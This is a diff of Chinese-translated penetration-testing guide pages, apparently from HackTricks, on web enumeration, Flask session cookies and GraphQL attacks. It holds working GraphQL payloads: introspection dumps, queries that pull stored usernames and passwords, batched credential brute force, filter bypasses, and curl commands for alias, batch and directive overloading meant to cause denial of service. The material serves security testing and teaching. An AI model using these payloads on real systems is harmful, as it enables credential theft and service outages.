- 您还可以**监控检测到表单的文件**，因为参数的变化或新表单的出现可能表明潜在的新漏洞功能。
|
||||
|
||||
**403 Forbidden/Basic Authentication/401 Unauthorized (绕过)**
|
||||
@ -309,23 +312,23 @@ _注意，在暴力破解或爬虫过程中发现新目录时，应进行暴力
|
||||
|
||||
**NTLM认证 - 信息泄露**
|
||||
|
||||
如果运行的服务器要求身份验证是**Windows**或您发现一个登录请求您的**凭据**（并要求**域名**），您可以引发**信息泄露**。\
|
||||
**发送**头：`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`，由于**NTLM认证的工作原理**，服务器将通过头“WWW-Authenticate”响应内部信息（IIS版本，Windows版本...）。\
|
||||
您可以使用**nmap插件**"_http-ntlm-info.nse_"来**自动化**此过程。
|
||||
如果运行的服务器要求身份验证是**Windows**，或者您发现一个登录请求您的**凭据**（并要求**域名**），您可以引发**信息泄露**。\
|
||||
**发送**头部：`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`，由于**NTLM认证的工作原理**，服务器将通过头部"WWW-Authenticate"响应内部信息（IIS版本，Windows版本...）。\
|
||||
您可以使用**nmap插件** "_http-ntlm-info.nse_" 来自动化此过程。
|
||||
|
||||
**HTTP重定向（CTF）**
|
||||
**HTTP重定向 (CTF)**
|
||||
|
||||
可以在**重定向**中**放置内容**。这些内容**不会显示给用户**（因为浏览器将执行重定向），但其中可能**隐藏**某些内容。
|
||||
|
||||
### Web漏洞检查
|
||||
### 网络漏洞检查
|
||||
|
||||
现在已经对Web应用程序进行了全面的枚举，是时候检查许多可能的漏洞。您可以在这里找到检查清单：
|
||||
现在已经对网络应用程序进行了全面的枚举，是时候检查许多可能的漏洞。您可以在这里找到检查清单：
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
有关Web漏洞的更多信息：
|
||||
有关网络漏洞的更多信息，请访问：
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
|
||||
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**如果你在进行CTF，Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**相关。**
|
||||
**如果你在进行CTF，Flask应用程序可能与** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**相关。**
|
||||
|
||||
## Cookies
|
||||
|
||||
默认的cookie会话名称是**`session`**。
|
||||
默认的cookie会话名称是 **`session`**。
|
||||
|
||||
### Decoder
|
||||
|
||||
在线Flask cookie解码器：[https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
||||
在线Flask cookie解码器: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)
|
||||
|
||||
#### Manual
|
||||
|
||||
@ -58,7 +58,7 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
|
||||
```
|
||||
### SQLi in Flask session cookie with SQLmap
|
||||
|
||||
[**这个例子**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) 使用 sqlmap `eval` 选项来 **自动签名 sqlmap 负载** 以便于使用已知的密钥进行 Flask。
|
||||
[**这个例子**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) 使用 sqlmap `eval` 选项来 **自动签名 sqlmap 负载** 以便于 flask，使用已知的密钥。
|
||||
|
||||
## Flask Proxy to SSRF
|
||||
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## 介绍
|
||||
|
||||
GraphQL 被 **强调** 为 **REST API 的高效替代方案**，提供了一种简化的方式来从后端查询数据。与 REST 相比，REST 通常需要在不同的端点之间进行多次请求以收集数据，而 GraphQL 允许通过 **单个请求** 获取所有所需的信息。这种简化显著 **有利于开发者**，减少了他们的数据获取过程的复杂性。
|
||||
GraphQL 被 **强调** 为 REST API 的 **高效替代方案**，提供了一种简化的方式来从后端查询数据。与 REST 相比，REST 通常需要在不同的端点之间进行多次请求以收集数据，而 GraphQL 允许通过 **单个请求** 获取所有所需的信息。这种简化显著 **有利于开发者**，减少了他们的数据获取过程的复杂性。
|
||||
|
||||
## GraphQL 和安全性
|
||||
|
||||
随着包括 GraphQL 在内的新技术的出现，新的安全漏洞也随之而来。一个关键点是 **GraphQL 默认不包含身份验证机制**。开发者有责任实施这些安全措施。没有适当的身份验证，GraphQL 端点可能会向未认证的用户暴露敏感信息，构成重大安全风险。
|
||||
随着包括 GraphQL 在内的新技术的出现，新安全漏洞也随之而来。一个关键点是 **GraphQL 默认不包含身份验证机制**。开发者有责任实施这些安全措施。没有适当的身份验证，GraphQL 端点可能会向未认证的用户暴露敏感信息，构成重大安全风险。
|
||||
|
||||
### 目录暴力攻击和 GraphQL
|
||||
|
||||
@ -23,7 +23,7 @@ GraphQL 被 **强调** 为 **REST API 的高效替代方案**，提供了一种
|
||||
- `/graphql/api`
|
||||
- `/graphql/graphql`
|
||||
|
||||
识别开放的 GraphQL 实例可以检查支持的查询。这对于理解通过端点访问的数据至关重要。GraphQL 的自省系统通过详细说明模式支持的查询来促进这一点。有关更多信息，请参阅 GraphQL 关于自省的文档：[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
|
||||
识别开放的 GraphQL 实例可以检查支持的查询。这对于理解通过端点可访问的数据至关重要。GraphQL 的自省系统通过详细说明模式支持的查询来促进这一点。有关更多信息，请参阅 GraphQL 文档中的自省：[**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
|
||||
|
||||
### 指纹识别
|
||||
|
||||
@ -57,7 +57,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
|
||||
|
||||
**错误**
|
||||
|
||||
了解**错误**是否会被**显示**是很有趣的，因为它们将提供有用的**信息。**
|
||||
了解 **错误** 是否会被 **显示** 是很有趣的，因为它们将提供有用的 **信息。**
|
||||
```
|
||||
?query={__schema}
|
||||
?query={}
|
||||
@ -68,7 +68,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
|
||||
**通过自省枚举数据库模式**
|
||||
|
||||
> [!NOTE]
|
||||
> 如果启用了自省但上述查询未运行，请尝试从查询结构中删除 `onOperation`、`onFragment` 和 `onField` 指令。
|
||||
> 如果启用了自省但上述查询无法运行，请尝试从查询结构中删除 `onOperation`、`onFragment` 和 `onField` 指令。
|
||||
```bash
|
||||
#Full introspection query
|
||||
|
||||
@ -162,7 +162,7 @@ name
|
||||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
最后一行代码是一个graphql查询，将从graphql中转储所有元信息（对象名称、参数、类型...）
|
||||
最后一行代码是一个graphql查询，将转储所有的元信息（对象名称、参数、类型...）
|
||||
|
||||
.png>)
|
||||
|
||||
@ -172,7 +172,7 @@ name
|
||||
|
||||
现在我们知道数据库中保存了哪种信息，让我们尝试 **提取一些值**。
|
||||
|
||||
在自省中，您可以找到 **可以直接查询的对象**（因为您不能仅仅因为对象存在就查询它）。在下图中，您可以看到 "_queryType_" 被称为 "_Query_"，而 "_Query_" 对象的一个字段是 "_flags_"，这也是一种对象类型。因此，您可以查询标志对象。
|
||||
在自省中，您可以找到 **可以直接查询的对象**（因为您不能仅仅因为对象存在就查询它）。在下面的图像中，您可以看到 "_queryType_" 被称为 "_Query_"，而 "_Query_" 对象的一个字段是 "_flags_"，这也是一种对象类型。因此，您可以查询标志对象。
|
||||
|
||||
|
||||
|
||||
@ -180,11 +180,11 @@ name
|
||||
|
||||
.png>)
|
||||
|
||||
您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后，您可以使用查询获取所有标志的名称和值：
|
||||
您可以看到 "_Flags_" 对象由 **name** 和 **value** 组成。然后，您可以使用以下查询获取所有标志的名称和值：
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
请注意，如果**查询的对象**是**原始****类型**，例如**字符串**，如以下示例所示
|
||||
请注意，如果**查询的对象**是像**字符串**这样的**原始****类型**，如以下示例所示
|
||||
|
||||
.png>)
|
||||
|
||||
@ -193,7 +193,7 @@ query={flags{name, value}}
|
||||
query = { hiddenFlags }
|
||||
```
|
||||
在另一个例子中，"_Query_" 类型对象中有两个对象："_user_" 和 "_users_"。\
|
||||
如果这些对象不需要任何参数进行搜索，可以通过**请求**所需的数据来**检索所有信息**。在这个互联网例子中，你可以提取保存的用户名和密码：
|
||||
如果这些对象不需要任何参数进行搜索，可以**直接请求**所需的数据来**检索所有信息**。在这个互联网示例中，你可以提取保存的用户名和密码：
|
||||
|
||||
.png>)
|
||||
|
||||
@ -204,9 +204,9 @@ query = { hiddenFlags }
|
||||
看起来它会使用类型为 _**Int**_ 的 "_**uid**_" 参数进行搜索。\
|
||||
无论如何，我们已经知道，在 [Basic Enumeration](graphql.md#basic-enumeration) 部分提出了一个查询，显示了所有所需的信息：`query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
如果你阅读提供的图像，当我运行那个查询时，你会看到 "_**user**_" 有类型为 _Int_ 的 **arg** "_**uid**_"。
|
||||
如果你阅读提供的图像，当我运行该查询时，你会看到 "_**user**_" 有一个类型为 _Int_ 的 **arg** "_**uid**_"。
|
||||
|
||||
因此，通过一些轻量级的 _**uid**_ 暴力破解，我发现 _**uid**=**1**_ 时检索到了一个用户名和密码：\
|
||||
因此，通过一些轻量级的 _**uid**_ 暴力破解，我发现 _**uid**=**1** 时检索到了一个用户名和密码：\
|
||||
`query={user(uid:1){user,password}}`
|
||||
|
||||
.png>)
|
||||
@ -219,7 +219,7 @@ query = { hiddenFlags }
|
||||
|
||||
**查询字符串转储技巧（感谢 @BinaryShadow\_）**
|
||||
|
||||
如果你可以通过字符串类型进行搜索，例如：`query={theusers(description: ""){username,password}}`，并且你**搜索一个空字符串**，它将**转储所有数据**。 （_注意这个例子与教程的例子无关，对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_）。
|
||||
如果你可以通过字符串类型进行搜索，例如：`query={theusers(description: ""){username,password}}`，并且你**搜索一个空字符串**，它将**转储所有数据**。 (_注意这个例子与教程的例子无关，对于这个例子假设你可以通过一个名为 "**description**" 的字符串字段使用 "**theusers**" 进行搜索_).
|
||||
|
||||
### 搜索
|
||||
|
||||
@ -250,7 +250,7 @@ name
|
||||
```
|
||||
注意如何指示检索该人的 `subscribedMovies` 的 `name`。
|
||||
|
||||
您还可以 **同时搜索多个对象**。在这种情况下，搜索了 2 部电影：
|
||||
您还可以**同时搜索多个对象**。在这种情况下，搜索了 2 部电影：
|
||||
```javascript
|
||||
{
|
||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||
@ -258,7 +258,7 @@ name
|
||||
}
|
||||
}r
|
||||
```
|
||||
或者甚至使用别名的**多个不同对象的关系**：
|
||||
或者甚至是 **使用别名的多个不同对象的关系**：
|
||||
```javascript
|
||||
{
|
||||
johnsMovieList: searchPerson(name: "John Doe") {
|
||||
@ -285,13 +285,13 @@ name
|
||||
|
||||
**变更用于在服务器端进行更改。**
|
||||
|
||||
在 **introspection** 中，您可以找到 **声明的** **变更**。在下图中，"_MutationType_" 被称为 "_Mutation_"，而 "_Mutation_" 对象包含变更的名称（在本例中为 "_addPerson_"）：
|
||||
在**自省**中，您可以找到**声明的** **变更**。在下图中，"_MutationType_" 被称为 "_Mutation_"，而 "_Mutation_" 对象包含变更的名称（在本例中为 "_addPerson_"）：
|
||||
|
||||
.png>)
|
||||
|
||||
在此设置中，**数据库** 包含 **人员** 和 **电影**。**人员** 通过他们的 **电子邮件** 和 **姓名** 进行识别；**电影** 通过它们的 **名称** 和 **评分** 进行识别。**人员** 可以互为朋友，并且也可以拥有电影，表示数据库中的关系。
|
||||
在此设置中，**数据库**包含**人员**和**电影**。**人员**通过其**电子邮件**和**姓名**进行识别；**电影**通过其**名称**和**评分**进行识别。**人员**可以互为朋友，并且也可以拥有电影，表示数据库中的关系。
|
||||
|
||||
一个 **在数据库中创建新** 电影的变更可以像以下示例（在本例中，变更被称为 `addMovie`）：
|
||||
一个**在数据库中创建新**电影的变更可以如下所示（在此示例中，变更被称为 `addMovie`）：
|
||||
```javascript
|
||||
mutation {
|
||||
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
|
||||
@ -304,7 +304,7 @@ rating
|
||||
```
|
||||
**注意查询中如何指示值和数据类型。**
|
||||
|
||||
此外，数据库支持一个名为 `addPerson` 的 **mutation** 操作，允许创建 **persons** 及其与现有 **friends** 和 **movies** 的关联。重要的是要注意，朋友和电影必须在数据库中预先存在，然后才能将它们链接到新创建的人。
|
||||
此外，数据库支持一个**mutation**操作，名为`addPerson`，允许创建**persons**及其与现有**friends**和**movies**的关联。重要的是要注意，朋友和电影必须在数据库中预先存在，然后才能将它们链接到新创建的人。
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
@ -334,12 +334,12 @@ releaseYear
|
||||
```
|
||||
### 指令重载
|
||||
|
||||
正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的，指令重载意味着调用指令即使数百万次，以使服务器浪费操作，直到可能发生DoS攻击。
|
||||
正如在[**本报告中描述的漏洞之一**](https://www.landh.tech/blog/20240304-google-hack-50000/)中所解释的，指令重载意味着调用指令甚至数百万次，以使服务器浪费操作，直到可能导致拒绝服务（DoS）。
|
||||
|
||||
### 在1个API请求中批量暴力破解
|
||||
|
||||
此信息来自[https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/)。\
|
||||
通过GraphQL API进行身份验证，**同时发送多个不同凭据的查询**进行检查。这是一种经典的暴力破解攻击，但现在由于GraphQL批量处理功能，可以在每个HTTP请求中发送多个登录/密码对。此方法会欺骗外部速率监控应用程序，使其认为一切正常，没有暴力破解机器人试图猜测密码。
|
||||
通过GraphQL API进行身份验证，**同时发送多个不同凭据的查询**进行检查。这是一种经典的暴力破解攻击，但现在由于GraphQL批量处理功能，可以在每个HTTP请求中发送多个登录/密码对。这种方法会欺骗外部速率监控应用程序，使其认为一切正常，没有暴力破解机器人试图猜测密码。
|
||||
|
||||
下面是一个应用程序身份验证请求的最简单演示，**一次有3个不同的电子邮件/密码对**。显然，可以以相同的方式在单个请求中发送数千个：
|
||||
|
||||
@ -353,13 +353,13 @@ releaseYear
|
||||
|
||||
越来越多的**graphql端点正在禁用自省**。然而，当收到意外请求时，graphql抛出的错误足以让像[**clairvoyance**](https://github.com/nikitastupin/clairvoyance)这样的工具重建大部分架构。
|
||||
|
||||
此外，Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展**观察通过Burp的GraphQL API请求**并**构建**一个内部GraphQL **架构**，每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时，该扩展返回一个假响应。因此，GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息，[**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
此外，Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展**观察通过Burp的GraphQL API请求**，并**构建**一个内部GraphQL**架构**，每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当收到自省查询时，该扩展返回一个假响应。因此，GraphQuail显示了API中可用的所有查询、参数和字段。有关更多信息，[**请查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
|
||||
一个很好的**词表**可以在这里发现[**GraphQL实体**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||||
|
||||
### 绕过GraphQL自省防御 <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
为了绕过API中对自省查询的限制，在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在试图通过关注`__schema`关键字来阻止自省时在正则表达式模式中的常见疏忽。通过添加像**空格、换行符和逗号**这样的字符，GraphQL会忽略这些字符，但正则表达式可能没有考虑到，从而可以绕过限制。例如，在`__schema`后面带有换行符的自省查询可能会绕过这样的防御：
|
||||
为了绕过API中对自省查询的限制，在`__schema`关键字后插入**特殊字符**被证明是有效的。这种方法利用了开发人员在试图通过关注`__schema`关键字来阻止自省时常见的正则表达式模式的疏忽。通过添加像**空格、换行符和逗号**这样的字符，GraphQL会忽略这些字符，但正则表达式可能没有考虑到，从而可以绕过限制。例如，在`__schema`后面带有换行符的自省查询可能会绕过这样的防御：
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
@ -371,7 +371,7 @@ releaseYear
|
||||
|
||||
### 尝试 WebSockets
|
||||
|
||||
如 [**此演讲**](https://www.youtube.com/watch?v=tIo_t5uUK50) 中提到的，检查是否可以通过 WebSockets 连接到 graphQL，因为这可能允许您绕过潜在的 WAF，并使 websocket 通信泄露 graphQL 的架构：
|
||||
正如在 [**这个演讲**](https://www.youtube.com/watch?v=tIo_t5uUK50) 中提到的，检查是否可以通过 WebSockets 连接到 graphQL，因为这可能允许您绕过潜在的 WAF，并使 websocket 通信泄露 graphQL 的架构：
|
||||
```javascript
|
||||
ws = new WebSocket("wss://target/graphql", "graphql-ws")
|
||||
ws.onopen = function start(event) {
|
||||
@ -403,17 +403,17 @@ Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
file:* query
|
||||
```
|
||||
## GraphQL中的CSRF
|
||||
## CSRF in GraphQL
|
||||
|
||||
如果你不知道什么是CSRF，请阅读以下页面：
|
||||
如果你不知道什么是 CSRF，请阅读以下页面：
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/csrf-cross-site-request-forgery.md
|
||||
{{#endref}}
|
||||
|
||||
在外面，你将能够找到几个**未配置CSRF令牌的**GraphQL端点。
|
||||
在外面，你将能够找到几个 **未配置 CSRF 令牌的** GraphQL 端点。
|
||||
|
||||
请注意，GraphQL请求通常通过使用Content-Type **`application/json`**的POST请求发送。
|
||||
请注意，GraphQL 请求通常通过使用 Content-Type **`application/json`** 的 POST 请求发送。
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
@ -421,15 +421,15 @@ file:* query
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
因此，由于像之前那样的 CSRF 请求是 **在没有预检请求的情况下** 发送的，因此可以 **利用** **CSRF** 在 GraphQL 中 **进行** **更改**。
|
||||
因此，由于像之前那样的 CSRF 请求是 **在没有预检请求的情况下** 发送的，因此可以 **执行** **更改** 在 GraphQL 中利用 CSRF。
|
||||
|
||||
但是，请注意，Chrome 的 `samesite` 标志的新默认 cookie 值为 `Lax`。这意味着 cookie 仅会在 GET 请求中从第三方网站发送。
|
||||
|
||||
请注意，通常也可以将 **查询** **请求** 作为 **GET** **请求** 发送，并且 CSRF 令牌可能不会在 GET 请求中进行验证。
|
||||
|
||||
此外，利用 [**XS-Search**](../../pentesting-web/xs-search/) **攻击** 可能能够利用用户的凭据从 GraphQL 端点中提取内容。
|
||||
此外，利用 [**XS-Search**](../../pentesting-web/xs-search/index.html) **攻击** 可能能够从 GraphQL 端点中窃取内容，利用用户的凭据。
|
||||
|
||||
有关更多信息 **请查看** [**原始帖子**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。
|
||||
有关更多信息 **请查看** [**原始帖子在这里**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)。
|
||||
|
||||
## GraphQL 中的跨站 WebSocket 劫持
|
||||
|
||||
@ -465,7 +465,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
|
||||
## 使用 GraphQL 中的别名绕过速率限制
|
||||
|
||||
在 GraphQL 中，别名是一个强大的功能，允许在进行 API 请求时**明确命名属性**。这个功能对于在单个请求中检索**同一类型**对象的**多个实例**特别有用。别名可以用来克服 GraphQL 对象不能具有同名多个属性的限制。
|
||||
在 GraphQL 中，别名是一个强大的功能，允许在进行 API 请求时**明确命名属性**。这个能力对于在单个请求中检索**同一类型**对象的**多个实例**特别有用。别名可以用来克服 GraphQL 对象不能有多个同名属性的限制。
|
||||
|
||||
要详细了解 GraphQL 别名，推荐以下资源：[Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases)。
|
||||
|
||||
@ -490,18 +490,18 @@ valid
|
||||
|
||||
### Alias Overloading
|
||||
|
||||
**Alias Overloading** 是一种 GraphQL 漏洞，攻击者通过为同一字段重载查询，使用多个别名，导致后端解析器重复执行该字段。这可能会使服务器资源过载，从而导致 **Denial of Service (DoS)**。例如，在下面的查询中，同一字段（`expensiveField`）使用别名请求了 1,000 次，迫使后端计算 1,000 次，可能会耗尽 CPU 或内存：
|
||||
**Alias Overloading** 是一种 GraphQL 漏洞，攻击者通过为同一字段重载查询，使用多个别名，导致后端解析器重复执行该字段。这可能会使服务器资源过载，从而导致 **Denial of Service (DoS)**。例如，在下面的查询中，同一字段 (`expensiveField`) 被请求了 1,000 次，使用别名，迫使后端计算 1,000 次，可能会耗尽 CPU 或内存：
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
为了减轻这个问题，实施别名计数限制、查询复杂性分析或速率限制以防止资源滥用。
|
||||
为了缓解这个问题，实施别名计数限制、查询复杂性分析或速率限制，以防止资源滥用。
|
||||
|
||||
### **基于数组的查询批处理**
|
||||
|
||||
**基于数组的查询批处理** 是一种漏洞，其中 GraphQL API 允许在单个请求中批处理多个查询，使攻击者能够同时发送大量查询。这可能通过并行执行所有批处理查询来压垮后端，消耗过多的资源（CPU、内存、数据库连接），并可能导致 **服务拒绝（DoS）**。如果对批处理中的查询数量没有限制，攻击者可以利用这一点来降低服务可用性。
|
||||
**基于数组的查询批处理**是一种漏洞，其中GraphQL API允许在单个请求中批处理多个查询，使攻击者能够同时发送大量查询。这可能会通过并行执行所有批处理查询来压垮后端，消耗过多的资源（CPU、内存、数据库连接），并可能导致**服务拒绝（DoS）**。如果对批处理中的查询数量没有限制，攻击者可以利用这一点来降低服务可用性。
|
||||
```graphql
|
||||
# Test provided by https://github.com/dolevf/graphql-cop
|
||||
curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
@ -521,7 +521,7 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" \
|
||||
-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \
|
||||
'https://example.com/graphql'
|
||||
```
|
||||
请注意，在前面的示例中，`@aa` 是一个**可能未声明**的自定义指令。通常存在的一个常见指令是**`@include`**：
|
||||
请注意，在前面的示例中，`@aa` 是一个自定义指令，**可能未被声明**。通常存在的一个常见指令是 **`@include`**：
|
||||
```bash
|
||||
curl -X POST \
|
||||
-H "Content-Type: application/json" \
|
||||
@ -557,8 +557,8 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso
|
||||
- [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): 可作为独立工具或[Burp扩展](https://github.com/doyensec/inql)使用。
|
||||
- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): 也可以作为CLI客户端使用以自动化攻击
|
||||
- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): 列出在GraphQL模式中**到达特定类型的不同方式**的工具。
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): InQL的独立和CLI模式的继任者
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心，您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更，并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击，这对于规避实现不良的速率限制非常有用。
|
||||
- [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection): Standalone和CLI模式的继任者InQL
|
||||
- [https://github.com/doyensec/inql](https://github.com/doyensec/inql): 用于高级GraphQL测试的Burp扩展。_**扫描器**_是InQL v5.0的核心，您可以分析GraphQL端点或本地自省模式文件。它自动生成所有可能的查询和变更，并将其组织成结构化视图以供分析。_**攻击者**_组件允许您运行批量GraphQL攻击，这对于绕过实现不佳的速率限制非常有用。
|
||||
